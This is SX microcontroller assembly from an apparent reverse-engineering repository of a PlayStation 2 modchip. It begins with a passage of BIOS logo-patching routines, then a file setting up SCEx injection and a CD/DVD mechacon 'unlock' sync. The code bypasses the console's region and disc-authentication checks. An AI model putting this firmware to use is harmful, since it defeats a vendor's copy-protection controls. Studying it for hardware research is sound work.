;does VAR_BIOS_REV = 1 ;v1 sb z ;skip next line if doesnt = 0 meaning is 1 ascii jmp V0_logo call BIOS_WAIT_OE_LO_P0A mov w,#$12 ;ascii 2 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 2 ;v2-3 sb z jmp V0_logo call BIOS_WAIT_OE_LO_P0A mov w,#$08 ;ascii 5 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 5 ;v4 sb z ;skip next line if doesnt = 0 meaning is 5 ascii jmp V0_logo call BIOS_WAIT_OE_LO_P0A mov w,#$08 ;ascii 5 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 5 ;v4 sb z ;skip next line if doesnt = 0 meaning is 5 ascii jmp V0_logo call BIOS_WAIT_OE_LO_P0A ;; 10 00 a2 af 04 mov w,#$04 ;ascii 5 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 5 ;v4 sb z ;skip next line if doesnt = 0 meaning is 5 ascii jmp V0_logo jmp LOGO_V0_DCLOAD ;;;;;;;;;;;;;;;;; call BIOS_WAIT_OE_LO_P0A ;; 10 00 a2 af 04 mov w,#$0 ;ascii 5 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 5 ;v4 sb z ;skip next line if doesnt = 0 meaning is 5 ascii jmp V0_logo V0_logo_p2 call BIOS_WAIT_OE_LO_P0A ;; 10 00 a2 af 04 mov w,#$40 ;ascii 5 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 5 ;v4 sb z ;skip next line if doesnt = 0 meaning is 5 ascii jmp V0_logo_p2 call BIOS_WAIT_OE_LO_P0A ;; 10 00 a2 af 04 mov w,#$ac ;ascii 5 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 5 ;v4 sb z ;skip next line if doesnt = 0 meaning is 5 ascii jmp V0_logo_p2 LOGO_V0_DCLOAD mov w,#2;$7 ; skip 37 right? mov VAR_DC1,w LOGO_V0_PATCH snb IO_BIOS_OE jmp LOGO_V0_PATCH0 LOGO_V0_PATCH0 sb IO_BIOS_OE jmp LOGO_V0_PATCH0 decsz VAR_DC1 jmp LOGO_V0_PATCH ;LOGO_V0_PATCH00 ;snb IO_BIOS_OE ;jmp LOGO_V0_PATCH00 LOGO_V0_PATCH1 snb IO_BIOS_OE jmp LOGO_V0_PATCH1 mov w,#$20;1 test value 1 mov IO_BIOS_DATA,w mov w,#$1f mov m,w ; call BIOS_WAIT_OE_LO_P0A ;;; ; mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$38 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$11 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$60 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$03 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$24 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$e2 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$90 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$e4 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$90 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$ff mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$ff mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$63 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$24 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$26 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$20 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$82 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$e4 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$a0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$fb mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$ff mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$61 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$04 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$01 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$e7 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$24 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$2e mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$01 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$22 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$92 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$2f mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$01 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$23 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$92 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$26 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$10 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$43 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$1a mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$03 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$24 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$13 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$43 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$14 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$ff mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$55 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$02 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$24 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$ff mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$5f mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$03 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$24 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$28 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$04 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$24 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$ff mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$ff mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$84 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$20 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$20 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$28 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$23 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$02 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$a0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$a0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$fc mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$ff mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$80 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$14 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$ff mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$ff mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$63 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$20 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$58 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$01 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$04 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$24 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$ff mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$ff mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$84 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$20 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$20 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$28 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$23 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$02 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$20 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$30 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$22 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$02 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$c7 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$80 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$a7 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$a0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$ff mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$ff mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$63 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$20 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$f9 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$ff mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$80 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$14 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$ff mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$ff mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$42 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$20 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$f0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$ff mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$40 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$1c mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$b2 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$14 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$08 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$08 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$14 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$03 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A mov w,#$8e mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0A END_LOGO_V0_PATCH1 sb IO_BIOS_OE jmp END_LOGO_V0_PATCH1 mov w,#$ff mov !IO_BIOS_DATA,w page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP page $0C00 jmp Load8skip_logo org $0C00 ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P0C ;-------------------------------------------------------------------------------- snb IO_BIOS_OE jmp BIOS_WAIT_OE_LO_P0C ret Load8skip_logo mov w,#11;11;10;$7 ; skip 8 right mov VAR_DC1,w ;;sram load side V0_logofix ; clr fsr snb IO_BIOS_OE jmp V0_logofix nop mov w,#$18 ;ascii 1 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 1 ;v1 sb z ;skip next line if doesnt = 0 meaning is 1 ascii jmp V0_logofix call BIOS_WAIT_OE_LO_P0C mov w,#$0 ;ascii 2 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 2 ;v2-3 sb z jmp V0_logofix call BIOS_WAIT_OE_LO_P0C ;; 70 0a 08 mov w,#$c7 ;ascii 5 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 5 ;v4 sb z ;skip next line if doesnt = 0 meaning is 5 ascii jmp V0_logofix call BIOS_WAIT_OE_LO_P0C ;; 70 0a 08 mov w,#$0 ;ascii 5 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 5 ;v4 sb z ;skip next line if doesnt = 0 meaning is 5 ascii jmp V0_logofix V0_logofix_L0 sb IO_BIOS_OE jmp V0_logofix_L0 V0_logofix_L1 snb IO_BIOS_OE jmp V0_logofix_L1 decsz VAR_DC1 jmp V0_logofix_L0 V0_logofix_L2 sb IO_BIOS_OE jmp V0_logofix_L2 V0_logofix_patch snb IO_BIOS_OE jmp V0_logofix_patch mov w,#$64;1 test value 1 mov IO_BIOS_DATA,w mov w,#$1f mov m,w mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0C mov w,#$13 ;;; test values for sniff 01 01 f2 44 should all be 0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0C mov w,#$08 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0C mov w,#$08 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P0C end_V0_logofix_patch sb IO_BIOS_OE jmp end_V0_logofix_patch mov w,#$ff mov !IO_BIOS_DATA,w page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP org $0E00 ENDIF end
1nick9/PS2-Magic-ICE-FINAL-REVERSE	19,184	randomWIPsince-reverse/v0messiah2port/workingrc-mechadvd-unlock.S	;****************************************************************************** ; h2o-orange-F-ntscconsoleps1fix-v8japsupportadded.sxh hash 3158b96dd151bdd71406c4c05b80915e ;**************************************************************************** ;DEFINE ;expermenting defines, not needed. ;SX48RAM = 1 ; unneeded memory remap, has issues with 75k ps1drv, likely some wrong cals ;SX Chip used. SX48 uncomment below. SX28 have commented. ;SX48 = 1 ; uncomment for compiling for sx48 else is compiled for sx28 F=TR ;RSTBUMP = 1 ; uncomment for compiling with restbump for ps1mode. sx28 or this and next define aswell for sx48 E51E9226F0360FBAA2510BDFDA0BC433 ;USE SX48RSTBUMP ONLY FOR SX COMPILING FOR SX48. Both RSTBUMP and SX48RSTBUMP must be on ;SX48RSTBUMP = 1 ; uncomment for compiling with restbump for ps1mode. for sx48 with RSTBUMP uncommented 4D74D099733ACDDCBB4F046B4258B20C ;V14/V8jap identiy jmpers. if using sx48 needs the trim, sx28 either can go but stock code is without trim ;H2O75KJMPERS = 1 ; uncomment for compiling with restbump for ps1mode. if compiling for rstbmp use one of the sx28/sx48 with h2o v14usa/v14jap/v8jap ident jmpers else use F=TR defines 3158B96DD151BDD71406C4C05B80915E ;SX48H2O75KJMPERSTRIM = 1 ; needed if using h2o jmpers ident with sx48 rstbmp. h needs to go to 5v if not jap console or triggers my cad. D146DFD2DFC6F641029CA7A2A1529DD3 ;USE ONLY IF F=TR or RSTBUMP without H2O75KJMPERS. ;pal v14 dont define any. for jap/usa define only one for 75k this will make f=tr work correctly also h=rw usa/pal f=tr 75k pal sx28 0F465F30D6207AF98456841781DEC442 sx48 A7B089F1BEFF0EE9EE002CB378A1D018 ;USAv14 = 1 ;uncomment for fixed 75k being usa region. all prior still work any region f=tr 75k usa sx28 0F7BAA63B5735E9A0D7C40BAF4E57A7B sx48 CD93EF4293DA0171269FE8C42E7E6D1E ;JAPv14orv8 = 1 ;uncomment for fixed 75k being jap region. all prior still work any region f=tr 75k jap sx28 17F5B31F88A8CF440BF83BB7B52587F4 sx48 8A998B76CC47D7A65D7C61A4F2901570 ;also for v7 to use v9+ mechacon patch for v8 jap support f=tr ;NTSCPS1YFIX75K = 1 ;uncomment for 75k NTSC IMPORT YFIX PAL CONSOLE TESTED makes pal off screen but ntsc correct. off pal correct, ntsc crushed. ;NTSCPS1YFIX75K ON rstbump 891246cec7e63bc112c4005b700a7a22 f=tr 75k pal ec962491125e6e2196e215b6cb5222a1 ;; checksums 75kps1yfix not updated ;only rstbump v8jap tested but rest should be right IFDEF SX48 device SX48,TURBO,BOROFF,OSCHS2,OPTIONX,WDRT006 ID 'ICEREV' ELSE device SX28,TURBO,BOROFF,BANKS8,OSCHS2,OPTIONX ID 'ICEREV' ENDIF ;io pin assignments IO_SCEX = ra.2 ; (PSX:SCEx)RA2(S) IO_BIOS_OE = ra.0 ; (R) IO_BIOS_CS = rb.1 ; (W) ; LOW = BIOS select ; 1 = no access to rom , 0 = access to rom IO_REST = rb.2 ; ; 1 = normal , 0 = reset IO_EJECT = rb.3 ; (PS2:EJECT)RB3(Z) ; 1 = tray open , 0 = tray closed IO_CDDVD_OE_A_1Q = ra.1 ; (CDDVD:OE)RA1(A) (flipflop 1Q#) ;A from flip flop IO_CDDVD_OE_A_1R = ra.3 ; (CDDVD:OE)RA3(A) (flipflop 1R#) ;flip flop clr IO_CDDVD_BUS_i = rb.7 ; (I)(CDDVD:D7) IO_CDDVD_BUS_b = rb.4 ; (B)(CDDVD:D2) IO_CDDVD_BUS_f = rb.0 ; (F)(just used for usa v14 jmp or clash with f=tr on v14 usa) IO_CDDVD_BUS_h = rb.6 ; (H)(how determins is jap v14 if connected, assumption is no RW support at all on v14 RSTBUMP unless sync works out for when checked) IO_CDDVD_BUS = rb ; $06 IO_DVD_DATA = rc ; $07 ; (V)RC0(BIOS:D0) - (M)RC7(BIOS:D7) IFDEF SX48 ;regs sx48 VAR_DC1 = $0A VAR_DC2 = $0B VAR_DC3 = $0C VAR_DC4 = $0D VAR_PSX_TEMP = $10 VAR_PSX_BYTE = $11 VAR_PATCH_FLAGS = $0E VAR_SWITCH = $0F VAR_BIOS_REV = $12 VAR_BIOS_YR = $13 VAR_BIOS_REGION_TEMP = $14 VAR_PSX_BITC = $15 VAR_PSX_BC_CDDVD_TEMP = $16 ELSE ;regs sx28 VAR_DC1 = $08 ; DS 1 ; delay counter 1(small) VAR_DC2 = $09 ; DS 1 ; delay counter 2(small) VAR_DC3 = $0A ; DS 1 ; delay counter 3(big) VAR_DC4 = $0b ; DS 1 ; delay counter 4 VAR_PSX_TEMP = $0C ; DS 1 ; SEND_SCEX: rename later VAR_PSX_BYTE = $0D ; DS 1 ; SEND_SCEX: byte(to send) VAR_PATCH_FLAGS = $0E ; DS 1 VAR_SWITCH = $0F ; DS 1 VAR_BIOS_REV = $10 ; DS 1 ; 1.X0 THE BIOS REVISION byte infront in BIOS string is X.00 VAR_BIOS_YR = $11 ; DS 1 ; byteC of ;BIOS_VERSION_MATCHING VAR_BIOS_REGION_TEMP = $12 ; DS 1 ; temp storage to compare byte7 of ;BIOS_VERSION_MATCHING VAR_PSX_BITC = $13 ; DS 1 ; SEND_SCEX: bit counter ;note start at 8(works down to 0) VAR_PSX_BC_CDDVD_TEMP = $14 ; DS 1 ; SEND_SCEX: byte counter note start at 4(works down to 0) ; also used with mechacon patches and ps1 detect ENDIF ;------------------------------------------------------------ ;VAR_PATCH_FLAGS ;------------------------------------------------------------ EJ_FLAG = VAR_PATCH_FLAGS.0 ;bit 0 used by eject routine SOFT_RST = VAR_PATCH_FLAGS.1 ;soft reset flag for disk patch PSX_FLAG = VAR_PATCH_FLAGS.2 ;psx mode flag V10_FLAG = VAR_PATCH_FLAGS.3 ;bios 1.9 or 2.0 ;also v10 1.9 bios has own ps1 routine UK_FLAG = VAR_PATCH_FLAGS.4 USA_FLAG = VAR_PATCH_FLAGS.5 JAP_FLAG = VAR_PATCH_FLAGS.6 SCEX_FLAG = VAR_PATCH_FLAGS.7 ;set when SCEX_LOW loop for injecting. once cleared knows patching done to flow forward ;------------------------------------------------------------ ;VAR_SWITCH ;------------------------------------------------------------ V12_FLAG = VAR_SWITCH.0 ;v12 console 2.0 bios set V12LOGO_FLAG = VAR_SWITCH.1 ;PS1_MODE v12 2.0 bios console flag ? ;SECOND_BIOS_PATCH_END ref if was doing ps1 patching for 2.0 v12 as redirects flow there for different patch. JAP_V8 = VAR_SWITCH.2 X_FLAG = VAR_SWITCH.3 ;set when HOLD_BOOT_MODES only clrb when end ? ;can flow onto ps1 reboot into PS1_MODE if detect ps1 media DEV1_FLAG = VAR_SWITCH.4 V14_FLAG = VAR_SWITCH.5 ;set due to W for region of BIOS which decka models V0_FLAG = VAR_SWITCH.6 ;V0 10-18K console flag ;------------------------------------------------------------ ;CODE ;------------------------------------------------------------ ;mode setup for io's ;todo ;ref SX-SX-Users-Manual-R3.1.pdf section 5.3.2 IFDEF SX48 ;mode setup for io's ;todo ;ref SX-SX-Users-Manual-R3.1.pdf section 5.3.2 org $0FFF ; Reset Vector reset STARTUP ; jmp to startup process on reset vector skipping boot inital ;** Reset of the chip **************************** org $0000 ; PAGE1 000-1FF ;INTERRUPT ;goes to sleep and wait for reset release ( 1 ) or tray close (0) ... mov w,#$1f mov m,w mov w,#$ff mov !IO_DVD_DATA,w mov w,#$ff mov !IO_CDDVD_BUS,w mov w,#$ff mov !ra,w mov w,#$ff mov !re,w mov w,#$1a mov m,w mov w,#$8 mov !IO_CDDVD_BUS,w mov w,#$19 mov m,w clr w mov !IO_CDDVD_BUS,w mov w,#$1b mov m,w mov w,#$f3 mov !IO_CDDVD_BUS,w mov w,#$1f mov m,w sleep ;INIT_CHIP STARTUP mov w,#$1d mov m,w mov w,#$f7 mov !IO_CDDVD_BUS,w IFDEF H2O75KJMPERS mov w,#$1e ;; extra needed for io v14jmp mov m,w mov w,#$be mov !IO_CDDVD_BUS,w ;; end extra io v14jmp ENDIF mov w,#$1f mov m,w mov w,#$7 mov !ra,w mov w,#$ff mov !IO_CDDVD_BUS,w mov w,#$ff mov !IO_DVD_DATA,w mov w,#$c7 mov !option,w ;read power down register clr fsr mov w,#$19 mov m,w clr w mov !IO_CDDVD_BUS,w mov VAR_PSX_BITC,w mov w,#$1f mov m,w ELSE org $07FF reset STARTUP ; jmp to startup process on reset vector skipping boot inital ;** Reset of the chip ****************************** org $0000 ; PAGE1 000-1FF ;INTERRUPT ;goes to sleep and wait for reset release ( 1 ) or tray close (0) ... mode $000F mov w,#$ff ; 1111 1111 mov !IO_DVD_DATA,w ;to be sure ports are input ... mov w,#$ff ; 1111 1111 mov !IO_CDDVD_BUS,w ;.... mov w,#$ff ; 1111 1111 mov !ra,w ;... mode $000A ;set up edge register mov w,#$8 ; 0000 1000 mov !IO_CDDVD_BUS,w ;RB3 wait for LOW ( = 1 ),RB2 wait for hi ( =0 ) mode $0009 ;clear all wakeup pending bits clr w mov !IO_CDDVD_BUS,w mode $000B ;enable wakeup... mov w,#$f3 ; 1111 0011 mov !IO_CDDVD_BUS,w ;... on & RB2 (reset) mode $000F sleep ;INIT_CHIP STARTUP ;here from stby & wake up... mode $000D ;TTL/CMOS mode... mov w,#$f7 ;1111 0111 mov !IO_CDDVD_BUS,w ;set IO_EJECT input as cmos ( level '1' > 2.5V ) work better with noise ... IFDEF H2O75KJMPERS mode $000E ;? ;; h and f io jmpers needed/extra 75k/v8jap mov w,#$be ; 1011 1110 mov !IO_CDDVD_BUS,w ;; end ENDIF mode $000F ;port mode mov w,#$7 ; 0000 0111 mov !ra,w ;port mode : all input mov w,#$ff mov !IO_CDDVD_BUS,w mov w,#$ff mov !IO_DVD_DATA,w mov w,#$c7 mov !option,w ;rtcc enabled,no int,incr.on clock, prescaler (bit 2,1,0). ;read power down register clr fsr mode $0009 ;read power down register clr w ;clear W mov !IO_CDDVD_BUS,w ;exchange registers = read pending bits mov VAR_PSX_BITC,w ;save wake up status ... mode $000F ;need 'cause removed from patch disk for speed ! ENDIF CLEAR_CONSOLE_INFO_PREFIND clr VAR_PATCH_FLAGS ;reset all used flag... clr VAR_SWITCH jmp V0_CONSOLE_CDDVD_START ;-------------------------------------------------------------------------------- CDDVD_PATCH_DATA_v0 ;-------------------------------------------------------------------------------- jmp pc+w retw $0 ; 1 retw $02 ; 2 retw $0 ; 3 retw $80 ; 4 retw $0 ; 5 retw $80 ; 6 V0_CONSOLE_CDDVD_START mov w,#4;$4 mov VAR_DC1,w V0_AND_BYTE_SYNC1_L1 snb IO_CDDVD_OE_A_1Q ;wait sync byte FF FF FF FF jmp V0_AND_BYTE_SYNC1_L1 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R mov w,IO_DVD_DATA mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$FF mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V0_CONSOLE_CDDVD_START decsz VAR_DC1 jmp V0_AND_BYTE_SYNC1_L1 V0_AND_BYTE_SYNC1_L2 snb IO_CDDVD_OE_A_1Q ;want byte 10 after FF FF FF FF or reloop (fixed ps2 dvd unlock run) jmp V0_AND_BYTE_SYNC1_L2 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R mov w,IO_DVD_DATA mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$10 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V0_AND_BYTE_SYNC1_L1 V0_CONSOLE_string_sync mov w,#3 mov VAR_DC1,w V0_AND_BYTE_SYNC1_L1_sync snb IO_CDDVD_OE_A_1Q ;wait sync byte 5F FF FF 3x in row jmp V0_AND_BYTE_SYNC1_L1_sync clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R mov w,IO_DVD_DATA mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$5F mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V0_CONSOLE_string_sync V0_AND_BYTE_SYNC1_L1_sync1 snb IO_CDDVD_OE_A_1Q jmp V0_AND_BYTE_SYNC1_L1_sync1 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R mov w,IO_DVD_DATA mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$FF mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V0_CONSOLE_string_sync V0_AND_BYTE_SYNC1_L1_sync2 snb IO_CDDVD_OE_A_1Q jmp V0_AND_BYTE_SYNC1_L1_sync2 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R mov w,IO_DVD_DATA mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$FF mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V0_CONSOLE_string_sync decsz VAR_DC1 